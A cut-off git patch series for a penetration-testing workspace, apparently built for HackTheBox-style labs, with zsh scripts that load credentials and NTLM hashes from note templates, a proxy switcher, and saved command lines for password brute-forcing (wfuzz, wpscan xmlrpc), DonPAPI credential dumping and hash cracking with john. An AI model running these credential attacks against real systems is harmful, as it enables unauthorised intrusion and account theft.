From fcee46b881e91cf29e9893914d4b7bd0c55d4030 Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Sun, 1 Jun 2025 15:33:03 +0800 Subject: [PATCH 01/52] update: file name --- completion_createor.py => completion_creator.py | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename completion_createor.py => completion_creator.py (100%) diff --git a/completion_createor.py b/completion_creator.py similarity index 100% rename from completion_createor.py rename to completion_creator.py From 1ea0af4429c744aa378c643f75a544b95be275b6 Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Sun, 1 Jun 2025 15:41:39 +0800 Subject: [PATCH 02/52] update: releaser --- releaser.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/releaser.py b/releaser.py index a94303c..bf2cd76 100755 --- a/releaser.py +++ b/releaser.py @@ -17,9 +17,10 @@ ## How to use it? 1. Download the script -2. source it -3. use function `createhack ` with the name of the file you want to open -4. vscode will Automatically open the folder +2. unzip the zip file +3. run ./installer.sh to install the weapon in to your ~/.local/weapon folder +4. use function `createhack ` with the name of the file you want to open +5. vscode will Automatically open the folder ## Script Hash From 74d5eb69be9bf68550520bc6952bd0f2216625b5 Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Mon, 2 Jun 2025 01:00:06 +0800 Subject: [PATCH 03/52] update: better username with set current user function --- .vscode/env.zsh | 33 ++++++++++++++++++++++----------- 1 file changed, 22 insertions(+), 11 deletions(-) diff --git a/.vscode/env.zsh b/.vscode/env.zsh index 3181ed3..93227bb 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -31,17 +31,28 @@ export NT_HASH_A=ffffffffffffffffffffffffffffffff # NTLM hash, if you have it export USER_B= export PASS_B= -export CURRENT=A # set the current username -export CURRENT_USER=`eval echo '$USER_'$CURRENT` # alias for USER_A -export CURRENT_PASS=`eval echo '$PASS_'$CURRENT` # alias for PASS_A -export CURRENT_NT_HASH=`eval echo '$NT_HASH_'$CURRENT` # alias for NT_HASH_A - -# defined variables if u need -export USER=${CURRENT_USER} -export USERNAME=${CURRENT_USER} -export PASS=${CURRENT_PASS} -export PASSWORD=${CURRENT_PASS} # alias for PASS -export NT_HASH=${CURRENT_NT_HASH} # alias for NT_HASH_A +function set_current_user() { + if [[ -z $1 ]]; then + echo "Usage: set_current_user " + echo "Example: set_current_user A" + echo "supported users: " + echo "" + env|egrep '^USER_' | sed -e 's/USER_//g' | awk '{printf "- " $1 "\n"}' |sed -e 's/=/: /g' | sort + return 1 + fi + export CURRENT=$1 + export CURRENT_USER=`eval echo '$USER_'$CURRENT` # alias for USER_A or USER_B + export CURRENT_PASS=`eval echo '$PASS_'$CURRENT` # alias for PASS_A or PASS_B + export CURRENT_NT_HASH=`eval echo '$NT_HASH_'$CURRENT` # alias for NT_HASH_A or NT_HASH_B + + # defined variables if u need + export USER=${CURRENT_USER} + export USERNAME=${CURRENT_USER} + export PASS=${CURRENT_PASS} + export PASSWORD=${CURRENT_PASS} # alias for PASS + export NT_HASH=${CURRENT_NT_HASH} # alias for NT_HASH_A +} +set_current_user A # export KRB5CCNAME= From c8096a544043158421218935c21e141b49927f52 Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Mon, 2 Jun 2025 01:04:02 +0800 Subject: [PATCH 04/52] update: wordlist settings with define in order --- .vscode/env.zsh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.vscode/env.zsh b/.vscode/env.zsh index 93227bb..9660cc2 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -125,10 +125,10 @@ unset https_proxy http_proxy all_proxy # Hashcat settings # useful settings like ROCKYOU, SECLIST, etc. -# export ROCKYOU=/usr/share/wordlists/rockyou.txt -# export SECLIST=/usr/share/wordlists/seclists/ -# export TOP_DNS=${SECLIST}/Discovery/DNS/bitquark-subdomains-top100000.txt -# export WORDLISTS=/usr/share/wordlists/ +# export WORDLIST=/usr/share/wordlists +export ROCKYOU=${WORDLIST}/rockyou.txt +export SECLIST=${WORDLIST}/seclists/ +export TOP_DNS=${SECLIST}/Discovery/DNS/bitquark-subdomains-top100000.txt export HASHCAT_MODE_WORDLIST=0 export HASHCAT_MODE_COMBINATION=1 From 2a2ebdc1d300e8e32a45df5a8c2133301ddab8f3 Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Mon, 2 Jun 2025 02:18:50 +0800 Subject: [PATCH 05/52] update: update user cred from template file --- .foam/templates/user.md | 1 + .vscode/env.zsh | 22 +++++++++++++++++++--- 2 files changed, 20 insertions(+), 3 deletions(-) diff --git a/.foam/templates/user.md b/.foam/templates/user.md index 4c1616a..f997e0e 100644 --- a/.foam/templates/user.md +++ b/.foam/templates/user.md @@ -15,6 +15,7 @@ foam_template: - login: ${FOAM_TITLE/^(\S*)@//} user: ${FOAM_TITLE/@(\S*)$//} password: pass + nt_hash: fffffffffffffffffffffffffffffffffff ``` #### information diff --git a/.vscode/env.zsh b/.vscode/env.zsh index 9660cc2..40964fa 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -24,13 +24,29 @@ export ip=${IP} # alias as IP export DC_IP=${RHOST} # alias rhost export DC_HOST=dc01.${DOMAIN} # domain controller host, if not set use dc01.domain.com +# auto set the data in the +function update_user_cred_to_env () { + if [[ -x "$(command -v yq)" && -d "${PROJECT_FOLDER}/users" ]]; then + for ur in `ls -1 ${PROJECT_FOLDER}/users`; do + local file="${PROJECT_FOLDER}/users/${ur}/${ur}.md" + if [ -f "$file" ]; then + local usercred=$(cat "$file" |grep '```yaml' -A 4 |grep -v '```' |grep -v -- --) + local user=$(echo "$usercred"|yq '.[0].user' -r ) + local pass=$(echo "$usercred"|yq '.[0].password' -r ) + local nt_hash=$(echo "$usercred"|yq '.[0].nt_hash' -r ) + export USER_${user}=$user + export PASS_${user}=$pass + export NT_HASH_${user}=$nt_hash + fi + done + fi +} +update_user_cred_to_env + export USER_A=username export PASS_A=password export NT_HASH_A=ffffffffffffffffffffffffffffffff # NTLM hash, if you have it -export USER_B= -export PASS_B= - function set_current_user() { if [[ -z $1 ]]; then echo "Usage: set_current_user " From 59e115d72dfb4ff5f8dbd5c1df19162bb82b966c Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Mon, 2 Jun 2025 02:20:00 +0800 Subject: [PATCH 06/52] update: show current user --- .vscode/env.zsh | 1 + 1 file changed, 1 insertion(+) diff --git a/.vscode/env.zsh b/.vscode/env.zsh index 40964fa..c2b11ba 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -49,6 +49,7 @@ export NT_HASH_A=ffffffffffffffffffffffffffffffff # NTLM hash, if you have it function set_current_user() { if [[ -z $1 ]]; then + echo "current user is set to ${CURRENT}" echo "Usage: set_current_user " echo "Example: set_current_user A" echo "supported users: " From 0b733e0edef0c70ff4f7bab5fd4b038f25c25af3 Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Mon, 2 Jun 2025 15:00:30 +0800 Subject: [PATCH 07/52] update: YAML block identifier for credentials parsing --- .foam/templates/user.md | 2 +- .vscode/env.zsh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.foam/templates/user.md b/.foam/templates/user.md index f997e0e..e5466a4 100644 --- a/.foam/templates/user.md +++ b/.foam/templates/user.md @@ -11,7 +11,7 @@ foam_template: #### validated credentials -```yaml +```yaml credentials - login: ${FOAM_TITLE/^(\S*)@//} user: ${FOAM_TITLE/@(\S*)$//} password: pass diff --git a/.vscode/env.zsh b/.vscode/env.zsh index c2b11ba..65433ad 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -30,7 +30,7 @@ function update_user_cred_to_env () { for ur in `ls -1 ${PROJECT_FOLDER}/users`; do local file="${PROJECT_FOLDER}/users/${ur}/${ur}.md" if [ -f "$file" ]; then - local usercred=$(cat "$file" |grep '```yaml' -A 4 |grep -v '```' |grep -v -- --) + local usercred=$(cat "$file" |grep '```yaml credentials' -A 4 |grep -v '```' |grep -v -- --) local user=$(echo "$usercred"|yq '.[0].user' -r ) local pass=$(echo "$usercred"|yq '.[0].password' -r ) local nt_hash=$(echo "$usercred"|yq '.[0].nt_hash' -r ) From 860224608586e5aa0386d37aac07995cced9cb86 Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Mon, 2 Jun 2025 15:49:12 +0800 Subject: [PATCH 08/52] Adds host configuration handling and environment setup enhancements Introduces YAML-based host configuration in templates and updates the environment script to dynamically process host data using `yq`. Enhances functionality by adding methods to set and manage current host settings, including integration with domain controller configurations. Improves proxy management by adding a new `set` subcommand and restructuring help documentation. Adds a new completion indexer script for automating user and host environment setup and tool execution. These changes streamline workflow for managing hosts and proxies across projects. --- .foam/templates/host.md | 10 +++-- .vscode/env.zsh | 80 +++++++++++++++++++++++++++++++++++--- completion_indexer/_weapon | 16 ++++++++ 3 files changed, 97 insertions(+), 9 deletions(-) create mode 100644 completion_indexer/_weapon diff --git a/.foam/templates/host.md b/.foam/templates/host.md index 0e64be6..9bbb7c7 100644 --- a/.foam/templates/host.md +++ b/.foam/templates/host.md @@ -9,10 +9,14 @@ foam_template: ### ${1:$TM_FILENAME_BASE} -#### host alias +#### host location -- ${1:$TM_FILENAME_BASE} -- ip: +```yaml host +- hostname: ${1:$TM_FILENAME_BASE} + is_dc: false + ip: 10.10.10.10 + alias: ["${1:$TM_FILENAME_BASE}"] # if is DC, please set the dc hostname as the first alias, such as ["dc01.example.com"] +``` #### ports diff --git a/.vscode/env.zsh b/.vscode/env.zsh index 65433ad..562818e 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -4,10 +4,7 @@ # export HOST="[HackTheBox - Machine Name]" ################################################################ -# Target settings -export RHOST=10.10.X.X -# works well on HTB and THM, Put your reverse IP here. - +# Self condition settings # use this if you are using a VPS or cloud server it can automatically get your public IP. # export LHOST=`curl ifconfig.me` # export LHOST=`curl ip.me` @@ -15,6 +12,11 @@ export LHOST=`ifconfig|grep '10\.10\.'|cut -d ' ' -f2` export ATTACKER_IP=$LHOST export LPORT=6789 + +################################################################ +# Target settings +export RHOST=10.10.X.X +# works well on HTB and THM, Put your reverse IP here. export DOMAIN= export TARGET=${DOMAIN:-${RHOST}} # target is target hostname if not set use RHOST ip @@ -24,6 +26,59 @@ export ip=${IP} # alias as IP export DC_IP=${RHOST} # alias rhost export DC_HOST=dc01.${DOMAIN} # domain controller host, if not set use dc01.domain.com +function update_host_to_env () { + if [[ -x "$(command -v yq)" && -d "${PROJECT_FOLDER}/hosts" ]]; then + for ur in `ls -1 ${PROJECT_FOLDER}/hosts`; do + local file="${PROJECT_FOLDER}/hosts/${ur}/${ur}.md" + if [ -f "$file" ]; then + local host_data=$(cat "$file" |grep '```yaml host' -A 4 |grep -v '```' |grep -v -- --) + + local hostname=$(echo "$host_data"|yq '.[0].hostname' -r ) + local _var=$(echo "$hostname"|sed -e "s/\./_/g") # replace . and - with _ to avoid env var issues + + local ip=$(echo "$host_data"|yq '.[0].ip' -r ) + local is_dc=$(echo "$host_data"|yq '.[0].is_dc' -r ) + if [[ "is_dc" -eq "true" ]]; then + export DC_HOST_${_var}=$(echo "$host_data"|yq '.[0].alias.[0]') + export DC_HOST=$(echo "$host_data"|yq '.[0].alias.[0]') # default dc01.domain.com + export DC_IP_${_var}=$ip + export DC_IP=${ip} + export IS_DC_${_var}="true" + fi + export HOST_${_var}=$hostname + export IP_${_var}=$ip + fi + done + fi +} +update_host_to_env + +function set_current_host() { + if [[ -z $1 ]]; then + echo "current host is set to ${CURRENT_HOST}" + echo "Usage: set_current_host " + echo "Example: set_current_host dc01" + echo "supported hosts: " + echo "" + env|egrep '^HOST_' | sed -e 's/HOST_//g' | awk '{printf "- " $1 "\n"}' |sed -e 's/=/: /g' | sort + return 1 + fi + + export CURRENT_HOST=`echo "$1"|sed -e "s/\./_/g" ` + export CURRENT_IP=`eval echo '$IP_'$CURRENT_HOST` # alias for IP_dc01 or IP_dc02 + export CURRENT_HOSTNAME=`eval echo '$HOST_'$CURRENT_HOST` # alias for HOST_dc01 or HOST_dc02 + + # defined variables if u need + export RHOST=${CURRENT_IP} + export IP=${CURRENT_IP} + export DOMAIN=${CURRENT_HOSTNAME} # alias for DOMAIN_dc01 or DOMAIN_dc02 + export TARGET=${DOMAIN:-${RHOST}} # target is target hostname if not set use RHOST ip + if [[ "$IS_DC_${CURRENT_HOST}" == "true" ]]; then + export DC_IP=`eval echo '$DC_IP_'$CURRENT_HOST` # alias for DC_IP_dc01 or DC_IP_dc02 + export DC_HOST=`eval echo '$DC_HOST_'$CURRENT_HOST` # alias for DC_HOST_dc01 or DC_HOST_dc02 + fi +} + # auto set the data in the function update_user_cred_to_env () { if [[ -x "$(command -v yq)" && -d "${PROJECT_FOLDER}/users" ]]; then @@ -191,22 +246,35 @@ function proxys() { case "$1" in (h) echo "|==============================================|" - echo "| $0 Usage |" + echo "| proxys Usage |" echo "| ---- fast commandline proxy switcher |" echo "|==============================================|" - echo "| Basic Usage: $0 [SubCommand] [param1] |" + echo "| Basic Usage: proxys [SubCommand] [param1] |" echo "|==============================================|" echo "| Sub Command List |" echo "|==============================================|" echo "| proxy [proxy_ip] import ip temply |" echo "| port [port_id] import port temply |" echo "| loc import localhost |" + echo "| set [protocol]://[proxy_ip]:[port] set proxy |" echo "| on up the cli proxy |" echo "| off down the proxy |" echo "| * show proxy setting |" echo "| h/help show help |" echo "|==============================================|" ;; + (set) + if [ -z "$2" ] + then + echo "Usage: $0 set [protocol]://[proxy_ip]:[port]" + echo "Example: $0 set http://127.0.0.1:8080" + else + export http_proxy="$2" \ + https_proxy="$2" \ + all_proxy="$2" && \ + echo "export Proxy complete" && $0 show + fi + ;; (proxy) export Proxy="$2" ;; diff --git a/completion_indexer/_weapon b/completion_indexer/_weapon new file mode 100644 index 0000000..86e8382 --- /dev/null +++ b/completion_indexer/_weapon @@ -0,0 +1,16 @@ +update_user_cred_to_env +set_current_user +update_host_to_env +set_current_host +wfuzz_vhost_http $DOMAIN $TOP_DNS +wfuzz_vhost_https $DOMAIN $TOP_DNS +venv-init +venv-activate +proxys on +proxys loc +proxys set http://127.0.0.1:8080 +rustscan -a $RHOST --ulimit 5000 -- -A --script=vuln +cp xxx $PROJECT_FOLDER/ +cp xxx $PROJECT_WEB_DELIVERY/ +cat file |url encode +cat file |url decode \ No newline at end of file From cb359eeb219f49e641e6e4a939750b0d0e5f683a Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Tue, 3 Jun 2025 00:09:08 +0800 Subject: [PATCH 09/52] update: file indentiy cutter for shell script --- .vscode/env.zsh | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/.vscode/env.zsh b/.vscode/env.zsh index 562818e..fec1937 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -26,12 +26,28 @@ export ip=${IP} # alias as IP export DC_IP=${RHOST} # alias rhost export DC_HOST=dc01.${DOMAIN} # domain controller host, if not set use dc01.domain.com +function cut_lines () { + local file_path=$1 + local identity='```yaml '$2 + local line_no=$(grep -n '```' "$file_path"|grep "$identity" -A2|cut -d : -f1) + local line_no_start=$(echo $line_no | head -n 1) + local line_no_end=$(echo $line_no | tail -n 1) + local line_start=$(($line_no_start + 1)) + local line_end=$(($line_no_end - 1)) + + if [[ -f $file_path ]]; then + sed -n "${line_start},${line_end}p" "$file_path" + else + echo "File not found: $file_path" + fi +} + function update_host_to_env () { if [[ -x "$(command -v yq)" && -d "${PROJECT_FOLDER}/hosts" ]]; then for ur in `ls -1 ${PROJECT_FOLDER}/hosts`; do local file="${PROJECT_FOLDER}/hosts/${ur}/${ur}.md" if [ -f "$file" ]; then - local host_data=$(cat "$file" |grep '```yaml host' -A 4 |grep -v '```' |grep -v -- --) + local host_data=$(cut_lines "$file" "host") local hostname=$(echo "$host_data"|yq '.[0].hostname' -r ) local _var=$(echo "$hostname"|sed -e "s/\./_/g") # replace . and - with _ to avoid env var issues @@ -85,7 +101,7 @@ function update_user_cred_to_env () { for ur in `ls -1 ${PROJECT_FOLDER}/users`; do local file="${PROJECT_FOLDER}/users/${ur}/${ur}.md" if [ -f "$file" ]; then - local usercred=$(cat "$file" |grep '```yaml credentials' -A 4 |grep -v '```' |grep -v -- --) + local usercred=$(cut_lines "$file" "credentials") local user=$(echo "$usercred"|yq '.[0].user' -r ) local pass=$(echo "$usercred"|yq '.[0].password' -r ) local nt_hash=$(echo "$usercred"|yq '.[0].nt_hash' -r ) From 4adead2e73e4be0d01b06f412de186204d2f81d7 Mon Sep 17 00:00:00 2001 From: esonhugh Date: Tue, 3 Jun 2025 12:45:15 +0800 Subject: [PATCH 10/52] update: delete useless project init, update username process --- .vscode/.zshrc | 40 ---------------------------------------- .vscode/env.zsh | 9 +++++---- 2 files changed, 5 insertions(+), 44 deletions(-) diff --git a/.vscode/.zshrc b/.vscode/.zshrc index b047066..1778aa6 100644 --- a/.vscode/.zshrc +++ b/.vscode/.zshrc @@ -131,46 +131,6 @@ if [ -d "$PROJECT_FOLDER/venv" ]; then source $PROJECT_FOLDER/venv/bin/activate fi -# Auto Create Project Note Structure. -function create_project_structure () { - if [ -f "${PROJECT_FOLDER}/Makefile" ];then # lock the project folder - return - fi - mkdir -p $PROJECT_FOLDER/{hosts,users,services} - touch $PROJECT_FOLDER/entrypoint.md - touch $PROJECT_FOLDER/Makefile - - echo "Project Folder sturcture created completed!" - echo "===================== MANUAL =====================" - echo "Note: this function will not run again if Makefile is exists!" - echo "if you don't need created folder structure" - echo "Clean Project Folder: " - echo " clean_project_structure" - echo "" - echo "Create Notes:" - echo " User: " - echo " new-user " - echo " Host:" - echo " new-host " - echo " Service: " - echo " new-service " - echo "Delete Notes:" - echo " User: " - echo " del-user " - echo " Host:" - echo " del-host " - echo " Service: " - echo " del-service " - echo "==================================================" -} -create_project_structure -unset -f create_project_structure - -function clean_project_structure () { - rm -rf $PROJECT_FOLDER/{hosts,users,services} $PROJECT_FOLDER/entrypoint.md # $PROJECT_FOLDER/Makefile - echo "Project Folder sturcture cleaned completed!" -} - # change hist file location in project. HISTSIZE=100000000 SAVEHIST=100000000 diff --git a/.vscode/env.zsh b/.vscode/env.zsh index fec1937..c0903b6 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -50,7 +50,7 @@ function update_host_to_env () { local host_data=$(cut_lines "$file" "host") local hostname=$(echo "$host_data"|yq '.[0].hostname' -r ) - local _var=$(echo "$hostname"|sed -e "s/\./_/g") # replace . and - with _ to avoid env var issues + local _var=$(echo "$hostname"|sed -e "s/\./_/g"|sed -e "s/-/_/g") # replace . and - with _ to avoid env var issues local ip=$(echo "$host_data"|yq '.[0].ip' -r ) local is_dc=$(echo "$host_data"|yq '.[0].is_dc' -r ) @@ -103,11 +103,12 @@ function update_user_cred_to_env () { if [ -f "$file" ]; then local usercred=$(cut_lines "$file" "credentials") local user=$(echo "$usercred"|yq '.[0].user' -r ) + local _var=$(echo "$user"|sed -e "s/\./_/g" | sed -e "s/-/_/g") # replace . and - with _ to avoid env var issues local pass=$(echo "$usercred"|yq '.[0].password' -r ) local nt_hash=$(echo "$usercred"|yq '.[0].nt_hash' -r ) - export USER_${user}=$user - export PASS_${user}=$pass - export NT_HASH_${user}=$nt_hash + export USER_${_var}=$user + export PASS_${_var}=$pass + export NT_HASH_${_var}=$nt_hash fi done fi From 7f9eb7469539d8258351e1b217d2e269cb6201ec Mon Sep 17 00:00:00 2001 From: esonhugh Date: Tue, 3 Jun 2025 13:02:47 +0800 Subject: [PATCH 11/52] update: ntlm hash calc --- .vscode/env.zsh | 8 ++++++++ completion_indexer/_weapon | 3 ++- 2 files changed, 10 insertions(+), 1 deletion(-) diff --git a/.vscode/env.zsh b/.vscode/env.zsh index c0903b6..6dab264 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -394,3 +394,11 @@ function wfuzz_vhost_https () { fi wfuzz -c -w $wordlist -H "Host: FUZZ.$host" -u "https://$host" $3 $4 $5 $6 $7 $8 $9 $10 $11 $12 $13 $14 $15 $16 $17 $18 $19 } + +function ntlm () { + if [ -n "$1" ]; then + python3 -c 'import hashlib,binascii;hash = hashlib.new("md4", "'$1'".encode("utf-16le")).digest();print(binascii.hexlify(hash).decode("utf-8"))' + else + echo "usage: $0 password" + fi +} \ No newline at end of file diff --git a/completion_indexer/_weapon b/completion_indexer/_weapon index 86e8382..38c0c06 100644 --- a/completion_indexer/_weapon +++ b/completion_indexer/_weapon @@ -13,4 +13,5 @@ rustscan -a $RHOST --ulimit 5000 -- -A --script=vuln cp xxx $PROJECT_FOLDER/ cp xxx $PROJECT_WEB_DELIVERY/ cat file |url encode -cat file |url decode \ No newline at end of file +cat file |url decode +ntlm $PASS \ No newline at end of file From 76e04a71dea3ad6264a561578c6c9256c74617ac Mon Sep 17 00:00:00 2001 From: esonhugh Date: Tue, 3 Jun 2025 13:10:01 +0800 Subject: [PATCH 12/52] update: make command history more weapon --- completion_indexer/dirb | 2 +- completion_indexer/dirsearch | 2 +- completion_indexer/donpapi | 2 +- completion_indexer/john-the-ripper | 2 +- completion_indexer/smtp-user-enum | 6 +++--- completion_indexer/wfuzz | 4 ++-- completion_indexer/wpscan | 5 ++++- 7 files changed, 13 insertions(+), 10 deletions(-) diff --git a/completion_indexer/dirb b/completion_indexer/dirb index 63b29dc..1835cc9 100644 --- a/completion_indexer/dirb +++ b/completion_indexer/dirb @@ -1 +1 @@ -dirb "http://$TARGET" /usr/share/seclists/Discovery/Web-Content/big.txt +dirb "http://$TARGET" ${SECLIST}/Discovery/Web-Content/big.txt diff --git a/completion_indexer/dirsearch b/completion_indexer/dirsearch index 7aed1cc..545b957 100644 --- a/completion_indexer/dirsearch +++ b/completion_indexer/dirsearch @@ -1 +1 @@ -dirsearch -r -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt -u "http://$TARGET/" +dirsearch -r -w ${SECLIST}/Discovery/Web-Content/quickhits.txt -u "http://$TARGET/" \ No newline at end of file diff --git a/completion_indexer/donpapi b/completion_indexer/donpapi index cb5c7e2..4b09cc6 100644 --- a/completion_indexer/donpapi +++ b/completion_indexer/donpapi @@ -1 +1 @@ -DonPAPI "$DOMAIN"/"$USER":"$PASS"@"$TARGET" +DonPAPI "$DOMAIN"/"$USER":"$PASS"@"$RHOST" diff --git a/completion_indexer/john-the-ripper b/completion_indexer/john-the-ripper index 6685674..6261a5d 100644 --- a/completion_indexer/john-the-ripper +++ b/completion_indexer/john-the-ripper @@ -1,4 +1,4 @@ -john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt --fork=10 HashToPwn.txt --rules=all +john --format=NT --wordlist=$ROCKYOU --fork=10 HashToPwn.txt --rules=all john --format=krb5tgs --wordlist=`fzf-wordlists` Kerberoastables.txt john --wordlist=`fzf-wordlists` ASREProastables.txt hjohn ASREProastables.txt diff --git a/completion_indexer/smtp-user-enum b/completion_indexer/smtp-user-enum index b9a1307..dafb1c0 100644 --- a/completion_indexer/smtp-user-enum +++ b/completion_indexer/smtp-user-enum @@ -1,3 +1,3 @@ -smtp-user-enum -M EXPN -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t "$TARGET" "$PORT" -smtp-user-enum -M RCPT -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t "$TARGET" "$PORT" -smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t "$TARGET" "$PORT" +smtp-user-enum -M EXPN -U ${SECLIST}/Usernames/top-usernames-shortlist.txt -t "$TARGET" "$PORT" +smtp-user-enum -M RCPT -U ${SECLIST}/Usernames/top-usernames-shortlist.txt -t "$TARGET" "$PORT" +smtp-user-enum -M VRFY -U ${SECLIST}/Usernames/top-usernames-shortlist.txt -t "$TARGET" "$PORT" diff --git a/completion_indexer/wfuzz b/completion_indexer/wfuzz index 7afd75f..5ff9d57 100644 --- a/completion_indexer/wfuzz +++ b/completion_indexer/wfuzz @@ -1,5 +1,5 @@ -wfuzz --hc 401 -c -v -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt -w /usr/share/seclists/Passwords/darkweb2017-top100.txt --basic "FUZZ:FUZ2Z" -u "http://$TARGET/secretpage" -wfuzz --hc 403,404 -c -w /usr/share/seclists/Discovery/Web-Content/big.txt -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt -u "http://$TARGET/FUZZFUZ2Z" +wfuzz --hc 401 -c -v -w ${SECLIST}/Usernames/top-usernames-shortlist.txt -w ${SECLIST}/Passwords/darkweb2017-top100.txt --basic "FUZZ:FUZ2Z" -u "http://$TARGET/secretpage" +wfuzz --hc 403,404 -c -w ${SECLIST}/Discovery/Web-Content/big.txt -w ${SECLIST}/Discovery/Web-Content/web-extensions.txt -u "http://$TARGET/FUZZFUZ2Z" wfuzz --hh 185 -c -w `fzf-wordlists` -H 'Host: FUZZ.machine.org' -u "http://$TARGET/" wfuzz --hh 185 -c -w `fzf-wordlists` -H 'Host: FUZZ.org' -u "http://$TARGET/" wfuzz -c --hw 157 -L -w `fzf-wordlists` -w `fzf-wordlists` -X POST -d 'username=FUZZ&password=FUZ2Z' -u "http://$TARGET/admin" diff --git a/completion_indexer/wpscan b/completion_indexer/wpscan index 1740fec..686bee5 100644 --- a/completion_indexer/wpscan +++ b/completion_indexer/wpscan @@ -1,3 +1,6 @@ wpscan --api-token APITOKEN --url "http://$TARGET/" --no-banner --enumerate u1-20 wpscan --api-token APITOKEN --url "http://$TARGET/" --no-banner --plugins-detection aggressive -wpscan --api-token APITOKEN --url "http://$TARGET/" --no-banner --plugins-version-detection passive --password-attack xmlrpc -U 'admin' -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt +wpscan --api-token APITOKEN --url "http://$TARGET/" --no-banner --plugins-version-detection passive --password-attack xmlrpc -U 'admin' -P ${SECLIST}/Passwords/darkweb2017-top1000.txt +wpscan --url "http://$TARGET/" --no-banner --enumerate u1-20 +wpscan --url "http://$TARGET/" --no-banner --plugins-detection aggressive +wpscan --url "http://$TARGET/" --no-banner --plugins-version-detection passive --password-attack xmlrpc -U 'admin' -P ${SECLIST}/Passwords/darkweb2017-top1000.txt From afb592e9e6f44386903ef57bb0b77198ebd071f4 Mon Sep 17 00:00:00 2001 From: esonhugh Date: Tue, 3 Jun 2025 13:25:30 +0800 Subject: [PATCH 13/52] update: better support of name --- .vscode/env.zsh | 4 ++-- completion_indexer/aws | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.vscode/env.zsh b/.vscode/env.zsh index 6dab264..5fcd6fb 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -80,7 +80,7 @@ function set_current_host() { return 1 fi - export CURRENT_HOST=`echo "$1"|sed -e "s/\./_/g" ` + export CURRENT_HOST=`echo "$1"|sed -e "s/\./_/g"|sed -e "s/-/_/g" ` export CURRENT_IP=`eval echo '$IP_'$CURRENT_HOST` # alias for IP_dc01 or IP_dc02 export CURRENT_HOSTNAME=`eval echo '$HOST_'$CURRENT_HOST` # alias for HOST_dc01 or HOST_dc02 @@ -129,7 +129,7 @@ function set_current_user() { env|egrep '^USER_' | sed -e 's/USER_//g' | awk '{printf "- " $1 "\n"}' |sed -e 's/=/: /g' | sort return 1 fi - export CURRENT=$1 + export CURRENT=`echo "$1"|sed -e "s/\./_/g" |sed -e "s/-/_/g" ` export CURRENT_USER=`eval echo '$USER_'$CURRENT` # alias for USER_A or USER_B export CURRENT_PASS=`eval echo '$PASS_'$CURRENT` # alias for PASS_A or PASS_B export CURRENT_NT_HASH=`eval echo '$NT_HASH_'$CURRENT` # alias for NT_HASH_A or NT_HASH_B diff --git a/completion_indexer/aws b/completion_indexer/aws index d1325ca..de2d025 100644 --- a/completion_indexer/aws +++ b/completion_indexer/aws @@ -1,4 +1,4 @@ -aws configure --profile exegol +aws sts get-caller-identity aws s3 ls s3://mybucket aws s3 iam list-users aws s3 iam get-user --user-name $USER \ No newline at end of file From b95b655f9a9e770428258ccfc1248193697d50f5 Mon Sep 17 00:00:00 2001 From: esonhugh Date: Tue, 3 Jun 2025 16:04:09 +0800 Subject: [PATCH 14/52] feature: auto invoke the zsh env-invoked in integrated shell window --- .foam/templates/service.md | 4 + .vscode/env.zsh | 439 +++++++++++++++++++------------------ 2 files changed, 226 insertions(+), 217 deletions(-) diff --git a/.foam/templates/service.md b/.foam/templates/service.md index 3fac94f..e3a3b10 100644 --- a/.foam/templates/service.md +++ b/.foam/templates/service.md @@ -15,6 +15,10 @@ foam_template: #### location +```zsh env-invoked +# this will be automaticially invoked in your shell when you use this template +``` + On host yyy port xxx #### information diff --git a/.vscode/env.zsh b/.vscode/env.zsh index 5fcd6fb..145b033 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -6,9 +6,9 @@ ################################################################ # Self condition settings # use this if you are using a VPS or cloud server it can automatically get your public IP. -# export LHOST=`curl ifconfig.me` +# export LHOST=`curl ifconfig.me` # export LHOST=`curl ip.me` -export LHOST=`ifconfig|grep '10\.10\.'|cut -d ' ' -f2` +export LHOST=$(ifconfig | grep '10\.10\.' | cut -d ' ' -f2) export ATTACKER_IP=$LHOST export LPORT=6789 @@ -21,128 +21,141 @@ export DOMAIN= export TARGET=${DOMAIN:-${RHOST}} # target is target hostname if not set use RHOST ip -export IP=${RHOST} # alias rhost -export ip=${IP} # alias as IP -export DC_IP=${RHOST} # alias rhost +export IP=${RHOST} # alias rhost +export ip=${IP} # alias as IP +export DC_IP=${RHOST} # alias rhost export DC_HOST=dc01.${DOMAIN} # domain controller host, if not set use dc01.domain.com -function cut_lines () { - local file_path=$1 - local identity='```yaml '$2 - local line_no=$(grep -n '```' "$file_path"|grep "$identity" -A2|cut -d : -f1) - local 